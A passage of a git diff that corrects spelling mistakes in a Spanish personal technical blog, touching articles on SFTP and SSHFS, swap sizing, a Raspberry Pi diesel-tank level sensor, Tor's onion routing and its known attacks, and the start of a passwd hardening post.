<h2>SFTP</h2> <p>SSH File Transfer Protocol o SFTP permite el envío de ficheros a nivel de aplicación, a través de SSH, utilizando las aplicaciones y los comandos propios del protocolo FTP. Es sabido que el protocolo FTP no es seguro per se, debido a que no cuenta con cifrado.</p> -<p>La sintaxis es similar al protocolo FTP, manteniendo una vez establecida la conexión una cadena de conexión a nivel de aplciación similar a SSH.</p> +<p>La sintaxis es similar al protocolo FTP, manteniendo una vez establecida la conexión una cadena de conexión a nivel de aplicación similar a SSH.</p> <pre><code>$ sftp oldscizor.es Connected to 10.101.5.3- sftp></code></pre> <h2>SSHFS</h2> -<p>El protocolo SSH dispone de la posibilidad de gestionar el sistema de archivos de manera remota y segura utilizando SSHFS o Secure Shell File System. En el equipo local donde se realiza el montaje de SSHFS, la implementación hace uso del módulo del kérnel FUSE.</p> +<p>El protocolo SSH dispone de la posibilidad de gestionar el sistema de archivos de manera remota y segura utilizando SSHFS o Secure Shell File System. En el equipo local donde se realiza el montaje de SSHFS, la implementación hace uso del módulo del kernel FUSE.</p> <p>La sintaxis es sencilla. Se debe ejecutar el comando sshfs seguido de la ruta remota que se quiere montar localmente y, por último, la ruta local que se utilizará como punto de montaje.</p> <pre><code>$ mkdir fs @@ -252,7 +252,7 @@ drwxr-xr-x 7 git git 4096 Nov 9 23:32 dwm.git</code></pre> <p>Una vez realizado el montaje, se puede utilizar cualquier tipo de operación como si la ruta fuera local. También podemos utilizar sobre el punto de montaje cualquier software, como un gestor de archivos gráfico para desempeñar el trabajo que sea. Todas las acciones remotas las hará de forma transparente al usuario y mediante un túnel cifrado.</p> <h2>X11 forwarding</h2> <p>Esta opción del protocolo SSH permite al usuario conectarse a un servidor para levantar procesos que requieran de un servidor gráfico para su interacción. De tal modo que un administrador pueda, por ejemplo, ejecutar un navegador en un servidor remoto, y la presentación gráfica se realizará en la máquina local a pesar del proceso encontrarse ejecutando en la máquina remota. Evidentemente, toda comunicación cliente-servidor se realizará de manera segura mediante el protocolo SSH, por lo que los datos de presentación del proceso viajarán por la red bajo este protocolo. Para poder redirigir la salida de las ventanas de los procesos que se ejecutan, el servidor debe habilitar la directiva X11Forwarding en su fichero sshd_config.</p> -<p>Si bien el <a href="../ssh-tunneling/">SSH Tunneling</a> puede considerarse una aplicación del protocolo, he decidido hacer una entrada a parte sólo para ese caso, pues es más complejo y especial.</p> +<p>Si bien el <a href="../ssh-tunneling/">SSH Tunneling</a> puede considerarse una aplicación del protocolo, he decidido hacer una entrada aparte sólo para ese caso, pues es más complejo y especial.</p> </body> </html> \ No newline at end of file diff --git a/swap/index.html b/swap/index.html @@ -15,8 +15,8 @@ <p>El caso que hoy me ocupa, nace de la necesidad de apagar la memoria de intercambio (o swap) en mi equipo portátil para poder gestionar varias pruebas sobre clústers de kubernetes. Algo curioso, pues ningún programa me había obligado nunca a apagar la swap para funcionar (ya sé que puedo configurar kubernetes para evitar esta obligación, pero no se trata de un artículo sobre cómo evadir esta opción, sino de la memoria swap en sí). A raíz de este hecho, han avivado en mi memoria las viejas discusiones sobre la necesidad, o no, de la memoria de intercambio.</p> <p>Allá por el 2008, <a href="https://etbe.coker.com.au/2007/09/28/swap-space">Russell Coker discutía</a> sobre el uso de memoria swap que se daba en sistemas Unix, asegurando que la 'tradición' de utilizar el doble de swap que de RAM era obsoleto con las memorias de entonces (imagínese las actuales), llegando a la conclusión de que el tamaño más adecuado es el mismo que el tamaño de la memoria RAM siempre que ésta sea inferior a 1GB; la mitad del tamaño de la RAM cuando ésta tenga un tamaño de entre 2GB y 4GB; y 2GB de swap cuando el tamaño de la RAM sea mayor de 4GB. Coker además dudaría que exista ningún sistema de almacenamiento masivo que pueda manejar la carga de más de 2GB de espacio de intercambio en uso activo.</p> <p>¿Es necesaria la swap? La pregunta nace debido a que, por otro lado, hay quien defiende que hoy en día, con módulos de memoria baratos y de tal almacenamiento (tenga en cuenta que en mi equipo portátil tengo un almacenamiento de 32GB RAM), y debido al hecho de que el propio uso de memoria de intercambio supone una caída importante de rendimiento, la swap estaría obsoleta. También influye la idea de que, debe ser preferible tener suficiente RAM para evitar que llegue a sobrecargarse nunca y a necesitar espacio adicional, quedando éste relegado para máquinas con poca RAM o equipos antiguos.</p> -<p>Al respecto, <a href="https://web.archive.org/web/20081022092522/http://sourcefrog.net/weblog/software/linux-kernel/swap.html">Martin Pool aseveraba en 2004</a>, que cuando el sistema empieza a quedarse sin memoria, el núcleo escogerá qué páginas pasan al disco, siendo normalmente las que se usan con menor frecuencia. Si una página escogida es 'no anónima' <sup>1</sup> siempre existe un archivo que sirve de respaldo al contenido de la página, por lo que puede ser recuperada fácilmente en el caso de que volvamos a necesitarla. Pero las páginas anónimas carecen de dicho respaldo, por lo que solo pueden ser salvadas y copiadas en la swap. Sin embargo, si no tenemos suficiente memoria, el memoria no podrá escoger páginas 'no anónimas' para liberarla, obligando al sistema a ganar memoria a costa de páginas 'no anónimas', aunque éstas estén siendo utilizadas en mayor medida que las anónimas, afectando al rendimiento del sistema. «Disk is cheap, so allocate a gigabyte or two for swap».</p> -<p>Evidentemente, es necesario tener en cuenta, a parte del rendimiento, la seguridad. Existen circunstancias imprevisibles que pueden suceder, como que una acción requiera mucho más espacio del esperado, que un programa se vuelva loco (algo muy común si programamos), etc.</p> +<p>Al respecto, <a href="https://web.archive.org/web/20081022092522/http://sourcefrog.net/weblog/software/linux-kernel/swap.html">Martin Pool aseveraba en 2004</a>, que cuando el sistema empieza a quedarse sin memoria, el núcleo escogerá qué páginas pasan al disco, siendo normalmente las que se usan con menor frecuencia. Si una página escogida es 'no anónima' <sup>1</sup> siempre existe un archivo que sirve de respaldo al contenido de la página, por lo que puede ser recuperada fácilmente en el caso de que volvamos a necesitarla. Pero las páginas anónimas carecen de dicho respaldo, por lo que solo pueden ser salvadas y copiadas en la swap. Sin embargo, si no tenemos suficiente memoria, el kernel no podrá escoger páginas 'no anónimas' para liberarla, obligando al sistema a ganar memoria a costa de páginas 'no anónimas', aunque éstas estén siendo utilizadas en mayor medida que las anónimas, afectando al rendimiento del sistema. «Disk is cheap, so allocate a gigabyte or two for swap».</p> +<p>Evidentemente, es necesario tener en cuenta, aparte del rendimiento, la seguridad. Existen circunstancias imprevisibles que pueden suceder, como que una acción requiera mucho más espacio del esperado, que un programa se vuelva loco (algo muy común si programamos), etc.</p> <p>Por lo tanto, concluimos que la swap no está obsoleta. Pero, ¿cuánta swap debo reservar en mi sistema?. Como ya he comentado anteriormente, la memoria de Coker se ha convertido en prácticamente una regla. Para equipos con 8GB o 16GB emplear 2GB de swap es correcto, pero, ¿lo sigue siendo para equipos con 32GB, 64GB o 256GB de RAM? 2GB se antoja poco, aparentemente.</p> <p>Por ello, <a href="https://help.ubuntu.com/community/SwapFaq#Example_Scenarios">Canonical propone</a> que a partir de 4GB se haga la raíz cuadrada del tamaño de la RAM, redondeada al entero más cercano; así, a 6GB de RAM le corresponderían 2GB de swap, mientras que a 32GB le corresponderían 6GB o a 256GB, 16GB. Por su parte, <a href="https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/7/html/installation_guide/sect-disk-partitioning-setup-x86#idm140558470555584">Red Hat se asemeja</a> más a la memoria de Coker, pero siendo más generoso con equipos con menos de 8GB de RAM; siendo el doble de swap para menos de 2GB, el mismo tamaño para equipos de entre 2GB y 8GB, y la mitad para equipos de entre 8GB y 64GB.</p> <p>Estas recomendaciones son correctas, especialmente para servidores y sistemas eficientes. Sin embargo, tenemos que tener en cuenta que para sistemas de escritorio (y más aún en equipos portátiles), mantener un espacio de intercambio superior al tamaño de la RAM es elemental para la hibernación <sup>2</sup>. En este caso, conviene tener una swap lo suficientemente grande como para mantener el uso normal de intercambio. En ese caso, deberemos aplicar alguna de las reglas anteriores y sumarle el tamaño de la RAM.</p> diff --git a/tanque-gasoil/index.html b/tanque-gasoil/index.html @@ -13,10 +13,10 @@ <p class="date">21 de junio de 2022 • fjbalon</p> </header> <p>Este proyecto consiste en desarrollar un método para monitorizar la capacidad utilizada en un tanque de gasoil, que nutre una caldera. Existen diversas técnicas para lograrlo, pero la que considero más sencilla y más técnica es hacerlo a través de un sensor ultrasónico. Este sensor enviará los datos digitalizados a una Raspberry Pi 3B, que los procesará y almacenará, de tal forma que permita mantener un registro de monitorización y estadísticas de tiempo.</p> -<p>Mi idea es poder tener la información accesible desde el PC u otros equipos informáticos, con el objetivo de poder predecir cuándo será necesario rellenar el tanque de nuevo, antes de que se gaste el gasoil, y poder observar la tasa de uso de gasoil en el tiempo, con tal de poder aplicar inteligencia. Por ejemplo, cotejar y relacionar el gasto de inverno con respecto verano; las horas y duración de las duchas, el gasto de calefacción, etcétera.</p> +<p>Mi idea es poder tener la información accesible desde el PC u otros equipos informáticos, con el objetivo de poder predecir cuándo será necesario rellenar el tanque de nuevo, antes de que se gaste el gasoil, y poder observar la tasa de uso de gasoil en el tiempo, con tal de poder aplicar inteligencia. Por ejemplo, cotejar y relacionar el gasto de invierno con respecto verano; las horas y duración de las duchas, el gasto de calefacción, etcétera.</p> <h2>Funcionamiento del sensor</h2> <p>¿Cómo funciona el sensor de ultrasonido y cómo calculamos la distancia?. El funcionamiento es simple. El sensor crea un pulso de disparo en TRIG (trigger), enviando pulsos de 40kHz (manteniendo el estado de TRIG en HIGH durante un mínimo de 10µs). Inmediatamente, el circuito de control en el sensor cambiará el estado del pin de ECHO a HIGH, y manteniéndose así hasta que el pulso ultrasónico rebote con un objeto y regresa al receptor. En función del tiempo durante el cual el pin de ECHO permanece HIGH, esperando recibir de vuelta el pulso enviado, podemos calcular la distancia entre sensor y objeto. El emisor de pulsos es T, y el receptor es R.</p> -<p>Por poner un ejemplo, si calculamos el tiempo para el cual el ECHO es HIGHT como 588µs, y tomando que la velocidad del sonido en la atmósfera terrestre es de 343,2m/s:</p> +<p>Por poner un ejemplo, si calculamos el tiempo para el cual el ECHO es HIGH como 588µs, y tomando que la velocidad del sonido en la atmósfera terrestre es de 343,2m/s:</p> <math xmlns="http://www.w3.org/1998/Math/MathML" alttext="D=\frac{\upsilon}{(t/2)}=\frac{343,2}{(588\mu/2)}=5656565656" display="block"> <mrow> <mi>D</mi> @@ -182,7 +182,7 @@ de un total de <p>Una vez obtenidos los datos, adaptamos el script de forma simple stdin/stdout (para monitorización) de forma que devuelva un float con los litros restantes según los parámetros de entrada:</p> <pre><code>ancho=112 # Coordinate axis x: ancho / width alto=100 # Coordinate axis y: alto / height -profundidad=71 # Coordenate axis z: profundidad / depth +profundidad=71 # Coordinate axis z: profundidad / depth def volumenCuboide(x,y,z): return x * y * z @@ -191,14 +191,14 @@ def subcuboide(x,y,z,d): s = y - d return volumenCuboide(x,s,z) -l = subcuboide(ancho,alto,profundidad,distance)/1000 # Divsion by 100 for cm^3 to liters +l = subcuboide(ancho,alto,profundidad,distance)/1000 # Division by 100 for cm^3 to liters print ("%.1f" % l)</code></pre> <p>Así:</p> <pre><code>./gasoil40kHz.py 119.4</code></pre> <h2>Instalación en tanque</h2> <p>Con todo ideado y probado, aquí os muestro unas fotografías reales de cómo conseguí dejarlo más o menos estable, de la forma más perpendicular posible al eje x del tanque.</p> -<p>Me valgo de uno de los tapones del tanque para colocar, usando adhesivos, y de la forma más perpendicular posible al eje x del tanque, el sensor de ultrasonido. Aprovecho que los cable son finos para pasarlos por el aislante de la propia prensa del tapón, quedando el resto del circuito fuera.</p> +<p>Me valgo de uno de los tapones del tanque para colocar, usando adhesivos, y de la forma más perpendicular posible al eje x del tanque, el sensor de ultrasonido. Aprovecho que los cables son finos para pasarlos por el aislante de la propia prensa del tapón, quedando el resto del circuito fuera.</p> <img style="width:100%" src="resources/tanque-gasoil.png"/> <p>Una vez instalado, para realizar la obtención de datos gráficos configuramos la máquina receptora de los datos del sensor en un agente de <a href="https://zabbix.com">Zabbix</a>. Añadimos un UserParameter que contenga la llamada al script, de forma que obtengamos los valores directamente desde el servidor de Zabbix.</p> <pre><code># /etc/zabbix/zabbix_agentd.conf diff --git a/tor/index.html b/tor/index.html @@ -15,15 +15,15 @@ <p>Tor son las siglas de The Onion Routing, algo que podríamos traducir al español como enrutamiento cebolla; denominado así por su criptografía en capas, como veremos más adelante. Se trata de un proyecto de software libre creado originalmente con fines militares por parte del ejército y la inteligencia norteamericanas, con el objetivo de dar comunicaciones seguras, privadas y anónimas entre espías y agentes en campo enemigo orientado a las operaciones realizadas en territorios, principalmente soviéticos.</p> <p>Tor consiste en una gran red descentralizada compuesta por nodos repartidos por todo el mundo, a través de los cuales viajan nuestros paquetes de red dotando de anonimato, como veremos más tarde. Tras ser abandonado por el ejército fue reciclado por la Electronic Frontier Foundation y, finalmente soportado por su propia comunidad.</p> <p>El objetivo de Tor es preservar la privacidad y el anonimato (diferenciados) de los que navegan por su red, manteniendo comunicaciones seguras, asegurando la integridad de la información, pretendiendo evitar monitorización y registro de actividad, etc. Con el fin de proteger la libertad de los usuarios en Internet y evitar la censura. Actualmente es utilizado por diversos perfiles, desde disidentes políticos de países autoritarios, denunciantes, periodistas, gobiernos, hackers --tanto de sombrero blanco como de sombrero negro--, vendedores de diversa índole e, incluso narcotraficantes, delincuentes, etc. El anonimato ofrecido, como en cualquier herramienta, es un arma de doble filo.</p> -<p>Es necesario continuar esta contextualización definiendo la red profunda de la que tanto se habla -y con tan poco fundamento en muchas ocasiones-. La definición es clara y concisa: la deep web es el contenido de internet que no está indexado por los motores de búsqueda convencionales, sea por la razón que sea. Como podemos ver, no existe delincuencia ni malicia en la propia definición de esta. Un servidor privado conectado mediante Dynamic DNS que permite trabajar con direcciones IP dinámicas. de un particular o cualquier base de datos empresarial (que lógicamente no es accesiblemediante indexadores) podría considerarse y, de hecho, se considera parte de la red profunda.</p> -<p>Cuando la cultura popular se refiere a la red Tor como homóloga a la Deep Web, lo hace erróneamente. Sí es cierto que debemos admitir a la red Tor (y cualquier red semejante o parecida, como las redes i2p o freenet) como parte de la deep web. Para solucionar este conflicto de conceptos, se ideó la conocida como darknet o red oscura, haciéndo referencia exclusivamente a estas redes especiales; concepto que vuelve a ser salpicado por la leyenda negra que lo absorve -que no exime de la existencia de inmoralidad y delincuencia en ella, hay que admitir-. Por ello, en el presente documento se hablará con propiedad a la hora de mencionar la deep web y la darknet.</p> +<p>Es necesario continuar esta contextualización definiendo la red profunda de la que tanto se habla -y con tan poco fundamento en muchas ocasiones-. La definición es clara y concisa: la deep web es el contenido de internet que no está indexado por los motores de búsqueda convencionales, sea por la razón que sea. Como podemos ver, no existe delincuencia ni malicia en la propia definición de esta. Un servidor privado conectado mediante Dynamic DNS que permite trabajar con direcciones IP dinámicas. de un particular o cualquier base de datos empresarial (que lógicamente no es accesible mediante indexadores) podría considerarse y, de hecho, se considera parte de la red profunda.</p> +<p>Cuando la cultura popular se refiere a la red Tor como homóloga a la Deep Web, lo hace erróneamente. Sí es cierto que debemos admitir a la red Tor (y cualquier red semejante o parecida, como las redes i2p o freenet) como parte de la deep web. Para solucionar este conflicto de conceptos, se ideó la conocida como darknet o red oscura, haciendo referencia exclusivamente a estas redes especiales; concepto que vuelve a ser salpicado por la leyenda negra que lo absorbe -que no exime de la existencia de inmoralidad y delincuencia en ella, hay que admitir-. Por ello, en el presente documento se hablará con propiedad a la hora de mencionar la deep web y la darknet.</p> <p>A priori la técnica detrás de Tor puede parecer muy complejo, pero en lo que avanza el desarrollo de este documento podremos comprobar que su funcionamiento es sencillo; no eximiendo un grandísimo potencial de uso y, como veremos más adelante, un gran margen de mejora.</p> <p>Si nos conectamos a Internet de manera habitual, nuestra dirección IP pública y un conjunto de información más quedará expuesta, tanto para el destino de la conexión como para Man in the Middle, las propias empresas que nos proveen servicios, autoridades, gobiernos, etc. Además si la conexión no se encuentra cifrada podrá incluso filtrarse contraseñas y mensajes secretos y confidenciales. Todo lo que hacemos en Internet puede ser --y se encuentra, de hecho-- monitorizado y almacenado.</p> <p>Por contraposición, Tor crea una ruta al azar de nodos distribuidos por el mundo, a través de los cuales viajarán nuestras peticiones, de esta forma el destino de nuestros paquetes no conocerá nuestra dirección IP, sino la del nodo de salida (al igual que usando un proxy o una VPN), y de la misma forma, el nodo de salida no conocerá la dirección IP del origen, sino del nodo anterior a él en la ruta. A su vez, el nodo de entrada no conocerá el destino de la conexión, simplemente su destino será el segundo nodo. De esta forma se permite alcanzar un alto grado de anonimato, ya que, en el caso de ser vulnerado o amenazado un nodo, nuestra información se mantendrá anónima.</p> -<p>Anteriormente comentamos el origen del nombre de Tor: el enrutador cebolla. Esto se debe a su peculiar forma de usar la criptografía sobre la información que realiza para que proteger la confidencialidad e integridad de la información de los propios servidores, incluso: cifrado por capas. Completando la explicación anterior, nuestro cliente de Tor alojado en nuestra máquina calculará al azar la ruta antes mencionada, que en este caso digamos que corresponde a 3 nodos para agilizar la explicación, el nodo de entrada en Washington, el segundo nodo en Praga y el nodo de salida en Moscú. Con la ruta ya calculada, cifrara el paquete, digamos, la petición de una simple página HTML con la clave pública del nodo de salida, posteriormente volverá a cifrar el paquete ya cifrado con la clave pública del segundo nodo y, finalmente, con la clave del nodo de entrada y, una vez terminado el cifrado por capas, será enviado al nodo de entrada, donde usará su clave privada para descifrarlo y lo reenviará al segundo nodo, que hará lo mismo.</p> +<p>Anteriormente comentamos el origen del nombre de Tor: el enrutador cebolla. Esto se debe a su peculiar forma de usar la criptografía sobre la información que realiza para que proteger la confidencialidad e integridad de la información de los propios servidores, incluso: cifrado por capas. Completando la explicación anterior, nuestro cliente de Tor alojado en nuestra máquina calculará al azar la ruta antes mencionada, que en este caso digamos que corresponde a 3 nodos para agilizar la explicación, el nodo de entrada en Washington, el segundo nodo en Praga y el nodo de salida en Moscú. Con la ruta ya calculada, cifrará el paquete, digamos, la petición de una simple página HTML con la clave pública del nodo de salida, posteriormente volverá a cifrar el paquete ya cifrado con la clave pública del segundo nodo y, finalmente, con la clave del nodo de entrada y, una vez terminado el cifrado por capas, será enviado al nodo de entrada, donde usará su clave privada para descifrarlo y lo reenviará al segundo nodo, que hará lo mismo.</p> <img class="color-invertible" src="resources/torconn.png" /> <p>El proceso continuará hasta llegar al nodo de salida y este (Moscú) pedirá la página deseada (recordamos que este servidor verá como cliente a Moscú y no a nosotros) y realizará el mismo proceso de cifrado pero a la inversa, para devolverla al cliente de Tor. A continuación será desglosado este tema tan amplio como la criptografía, en concreto lógicamente la de la red que estamos estudiando.</p> -<p>Tor es el heredero del sistema desarrollado por el Departamento de Defensa de Estados Unidos. Ahondando un poco más en el tema, podemos llamar a David M. Goldshlag, Michael Reed y Paul Syverson los padres del encaminamiento cebolla, idea algorítmica que precede y, es a su vez, núcleo del concepto y de la técnica de Tor. Éstos se basaron y aplicaron las ideas de redes de mezclado de David Chaum. El objetivo fundamental y sin añadidos de estos conceptos criptográficos no es más que permitir infraestructuras para comunicaciones privadas sobre redes públicas.</p> +<p>Tor es el heredero del sistema desarrollado por el Departamento de Defensa de Estados Unidos. Ahondando un poco más en el tema, podemos llamar a David M. Goldschlag, Michael Reed y Paul Syverson los padres del encaminamiento cebolla, idea algorítmica que precede y, es a su vez, núcleo del concepto y de la técnica de Tor. Éstos se basaron y aplicaron las ideas de redes de mezclado de David Chaum. El objetivo fundamental y sin añadidos de estos conceptos criptográficos no es más que permitir infraestructuras para comunicaciones privadas sobre redes públicas.</p> <p>Tor no es la única red basada en estos conceptos criptográficos y algorítmicos, pero sí es la más conocida, la más utilizada y, en principio, la que mejor resultados otorgan a los usuarios. Además, el tratarse de una red de software libre y de código abierto ha permitido la afluencia de una gran comunidad de desarrolladores que la han hecho crecer y mejorar. Dicho esto, podemos hacer menciones honoríficas a otras redes que, como Tor, siguen esta idea: Freedom Network, Onion Routing, MixMaster, Babel, Mixminion, Zach Brown's Onion, PipeNet, IronKey, MorphMix, y Tarzan.</p> <h2>Idea primigenia</h2> <p>La idea primigenia era utilizar criptografía de clave asimétrica tradicional. Este sistema es vulnerable a ataques basados en sniffing de tráfico. Efectivamente, supongamos que un atacante puede esnifar todos los datos que son intercambiados entre los nodos. Si finalmente el atacante consigue comprometer todos los routers (accediendo a sus claves privadas) entonces este puede descifrar todo el tráfico almacenado anteriormente. </p> @@ -178,12 +178,12 @@ </math> <p>Donde K<sub>i</sub> es material que permite establecer la/s clave/s de sesión compartida (puede haber una para cada sentido de la comunicación) entre el origen de la comunicación (el iniciador).</p> <p>Observe que la capa final se identifica porque no contiene ni dirección destino, ni datos con significado para ser transmitidos.</p> -<p>La principal desventaja de este enfoque es que no provee de perfect forward secrecy. Supongamos que un circuito se construye desde el iniciador con la secuencia de nodos A,B,C y que A es un router malicioso y por tanto el atacante puede descifrar todo lo que pasa y ha pasado por él. Si A graba todo el tráfico y en el último momento se compromete B (el cual sabe quien es el último nodo C), entonces se compromete C y A puede saber con quien se está comunicando el iniciador.</p> +<p>La principal desventaja de este enfoque es que no provee de perfect forward secrecy. Supongamos que un circuito se construye desde el iniciador con la secuencia de nodos A,B,C y que A es un router malicioso y por tanto el atacante puede descifrar todo lo que pasa y ha pasado por él. Si A graba todo el tráfico y en el último momento se compromete B (el cual sabe quién es el último nodo C), entonces se compromete C y A puede saber con quién se está comunicando el iniciador.</p> <h2>Enfoque telescópico</h2> <p>Y finalmente llegamos a la criptografía utilizada por Tor. Ésta utiliza una construcción incremental e interactiva del circuito, a la que llaman enfoque telescópico.</p> <img class="color-invertible" src="resources/onion.png" style="width: 40%;" /> <p>En concreto Tor se apoya en el Tor Authentication Protocol (siglas TAP), cuya seguridad fue probada en el modelo de oráculo aleatorio. Tor lo que hace es realizar una ejecución secuencial de múltiples instancias de TAP, estableciendo un circuito de autenticación RSA de un solo sentido (el iniciador no se autentica nunca). Para ello se utiliza el circuito parcialmente construido hasta ese momento. Podemos decir que en cada tramo sucesivo del circuito se realiza una negociación interactiva de claves (protocolo de establecimiento de claves de Diffie-Hellman).</p> -<p>En el TAP la clave pública del nodo sólo se utiliza para iniciar la comunicación durante la cual se establece la clave temporal de sesión vía el protocolo de establecimiento de claves de Diffie-Hellman. Las claves se forman a partir del intercambio de mensajes en lugar de ser enviadas de forma cifrada. Por tanto, una vez que la sesión finalice (el circuito ha dejado de usarse) y se destruyan las claves de sesión, si se compromete un router (se obtiene su clave privada) esto no permite al adversario recuperar las claves de sesión eliminadas y descifrar así el tráfico cifrado bajo esa clave que pudiera tener almacenada. Por tanto tenemos perfect forward secrecy. Por otra parte ya no es necesario almacenar hashes de las estructuras de datos previamente procesadas para evitar ataques de replay. Reinyectando uno de los mensajes del handshake del protocolo de establecimiento de claves de Diffi-Hellman provoca unos resultados de clave de sesión diferentes y por tanto ya no sería un ataque efectivo.</p> +<p>En el TAP la clave pública del nodo sólo se utiliza para iniciar la comunicación durante la cual se establece la clave temporal de sesión vía el protocolo de establecimiento de claves de Diffie-Hellman. Las claves se forman a partir del intercambio de mensajes en lugar de ser enviadas de forma cifrada. Por tanto, una vez que la sesión finalice (el circuito ha dejado de usarse) y se destruyan las claves de sesión, si se compromete un router (se obtiene su clave privada) esto no permite al adversario recuperar las claves de sesión eliminadas y descifrar así el tráfico cifrado bajo esa clave que pudiera tener almacenada. Por tanto tenemos perfect forward secrecy. Por otra parte ya no es necesario almacenar hashes de las estructuras de datos previamente procesadas para evitar ataques de replay. Reinyectando uno de los mensajes del handshake del protocolo de establecimiento de claves de Diffie-Hellman provoca unos resultados de clave de sesión diferentes y por tanto ya no sería un ataque efectivo.</p> <p>Tor permite la salida a Internet utilizando los repetidores que se encuentran dentro de la red. Esto es una solución outproxy en donde los usuarios pueden salir hacia Internet utilizando la plataforma de anonimato, los repetidores que se encuentran disponibles en la red.</p> <p>Las redes inproxy, por el contrario no permiten esto, solamente permiten la navegación dentro de la red. Es el concepto más puro de una VPN es una tecnología que permite la extracción cifrada y tunelada de una red de área local (LAN) a una red pública. en donde todos los repetidores se pueden comunicar entre ellos pero no permiten salir de ella.</p> <p>Por ello podemos concluir en que Tor es una red inproxy a la misma vez que es una red outproxy; dependiendo del uso que le demos podemos obtener las ventajas de una u otra, o ambas simultáneamente.</p> @@ -193,10 +193,10 @@ <p>Pero, al contrario de un servidor común, el cliente no conoce la dirección IP del mismo. Los nodos de Tor cumplen la función de servidores DNS, que de mediante intercambio de claves criptográficas obtiene la clave pública que identifica a este servidor dentro de la red de nombres de dominio. Esta clave seguida de la extensión .onion constituye el dominio del servidor.</p> <code><p style="text-align:center">x67ebbbjksjdjsl.onion</p></code> <p>Como podemos ver, el dominio asociado no es fácil de recordar, no sigue una lógica semántica ni sintáctica. Por esta misma razón, existen las llamadas Hidden wiki's, que no son más que bases de datos de servidores y dominios, normalmente clasificados en categorías. Es una forma sencilla de indexar en la medida de lo posible estos contenidos, aunque de una forma burda, costosa y rudimentaria.</p> -<p>A pesar de que Tor está basado y construido con base en la seguridad, el anonimato y la privacidad de sus usuarios, como todo sistema no está extenso de problemas generales y específicos de seguridad, de riesgos y vulnerabilidades.</p> +<p>A pesar de que Tor está basado y construido con base en la seguridad, el anonimato y la privacidad de sus usuarios, como todo sistema no está exento de problemas generales y específicos de seguridad, de riesgos y vulnerabilidades.</p> <p>En cuanto a la seguridad general, evidentemente por mucho que nos conectemos a Tor si accedemos a servicios no seguros o no privados (Facebook tiene su propio dominio onion -<a href="facebookcorewwwi.onion">facebookcorewwwi.onion</a>-, algo curioso), los paquetes que salen por el nodo final serán inseguros o poco privados. En este caso, sólo protegerás tu conexión de salida a Internet. Esto es así porque quien tenga acceso -sea propietario o hackeado- al nodo de salida, tiene acceso a los paquetes en bruto, pudiendo espiar la conexión no cifrada o realizar otro tipo de ataques a este nivel. Es decir, un actor malicioso que controle el nodo de salida de Tor podría ser un riesgo potencial para el anonimato. Por contraposición, un actor que controla el nodo de entrada, aún manteniendo la privacidad del usuario, podría ser un riesgo en el intercambio de paquetes y manipulación de estos.</p> <p>Del mismo modo, la descarga de código local como javascript en diversas páginas se puede convertir en un riesgo para el anonimato. También complementos como Adobe Flash y aplicaciones externas como Adobe Reader o incluso un reproductor de video podrían potencialmente filtrar su dirección IP real a un sitio web que intenta adquirirla. El paquete del navegador Tor evita todos estos problemas con su configuración predeterminada, pero podría deshabilitar estas protecciones y usar JavaScript o complementos en el navegador Tor.</p> -<p>Debido al propio diseño estructural de Tor, permitiría que la realización de ataques Man in the Middle complejos, que permitirían -si una persona u organización controla el nodo de salida y de entrada- relacionar las direcciones IP con las peticiones enviadas al servidor, así como los timestamps y los tiempos de comunicación, y llegando a corresponder la conexión de entrada con la conexión de salida; rompiendo el anonimato y la privacidad del usuario. Aunque esto parece un riesgo mínimo por tratarse de una causística muy concreta, no lo es tanto. Véase <a href="https://www.genbeta.com/seguridad/alguien-lleva-cuatro-anos-gestionando-cientos-servidores-tor-hackeados-para-desanonimizar-a-usuarios-esta-red-privada">KAX17 ha llegado a controlar hasta el 10% de nodos de salida con motivos maliciosos</a>, lo que le da a KAX17 un alto control de la red. Este tipo de ataque se denomina Sybil; aquel que controle mayor número de nodos tiene más posibilidades de formar parte en más circuitos. No obstante la propia red dispone de un sistema de scripts que automatiza y comprueba si hay un aumento repentino o anormal de nodos, y un equipo de revisión de nodos para mitigar el riesgo potencial.</p> +<p>Debido al propio diseño estructural de Tor, permitiría que la realización de ataques Man in the Middle complejos, que permitirían -si una persona u organización controla el nodo de salida y de entrada- relacionar las direcciones IP con las peticiones enviadas al servidor, así como los timestamps y los tiempos de comunicación, y llegando a corresponder la conexión de entrada con la conexión de salida; rompiendo el anonimato y la privacidad del usuario. Aunque esto parece un riesgo mínimo por tratarse de una casuística muy concreta, no lo es tanto. Véase <a href="https://www.genbeta.com/seguridad/alguien-lleva-cuatro-anos-gestionando-cientos-servidores-tor-hackeados-para-desanonimizar-a-usuarios-esta-red-privada">KAX17 ha llegado a controlar hasta el 10% de nodos de salida con motivos maliciosos</a>, lo que le da a KAX17 un alto control de la red. Este tipo de ataque se denomina Sybil; aquel que controle mayor número de nodos tiene más posibilidades de formar parte en más circuitos. No obstante la propia red dispone de un sistema de scripts que automatiza y comprueba si hay un aumento repentino o anormal de nodos, y un equipo de revisión de nodos para mitigar el riesgo potencial.</p> <img class="color-invertible" style="width: 50%;" src="resources/torspoiled.png" /> <p>Otro ataque a tener en cuenta es el ataque predecesor, que tiene como objetivo identificar a los clientes de la red Tor aprovechando la reconstrucción de los circuitos. Uno o varios nodos hacen un seguimiento de las conexiones. Cada vez que un usuario reconstruye (aleatoriamente cada 10 minutos de conexión) un circuito, se vuelve a conectar a nuevos nodos haciendo que el atacante identifique al cliente porque tenderá a conectarse más veces que cualquier otro nodo. Conectado con el ataque Sybil, aquel que controle muchos nodos podría hacerlos fallar habitualmente para obligar a los clientes a reconectarse una y otra vez aumentando el éxito del ataque hasta obtener un circuito totalmente controlado por él (ataque de reconstrucción circuital).</p> <p>El ataque por atasco es también un elemento de riesgo. Una conexión a través de n routers tiene un efecto en las otras conexiones a través de ese mismo router, personalmente me gusta llamarlo onda lógica. El usuario atacante tiene que controlar un router Tor y ser capaz de observar una conexión intermedia entre la salida del router y el destino final. Mediante el router Tor, el atacante, puede crear circuitos en todos los demás routers Tor uno por uno para comprobar la latencia de la conexión si incrementa o no. En el momento que encuentre un router donde sí aumente, ese router está en el circuito. Aun así, debido al número de nodos actual es un ataque que por infraestructura tiene un bajo riesgo, pero alto impacto.</p> diff --git a/unix-passwd/index.html b/unix-passwd/index.html @@ -12,7 +12,7 @@ <p class="title">Hardening de passwd y shadow</p> <p class="date">12 de febrero de 2016 • fjbalon</p> </header> -<p>El contenido del fichero <emb>/etc/passwd</emb> determina el esqueleto de usuarios del sistema, constituyéndose como la primera línea de defensa del sistema contra accesos no deseados, por lo que debe mantenerse escrupulosamente y libre de errores y fallos de seguridad. En él mantenemos registrados las cuentas de usuarios, asi como las claves de accesos y 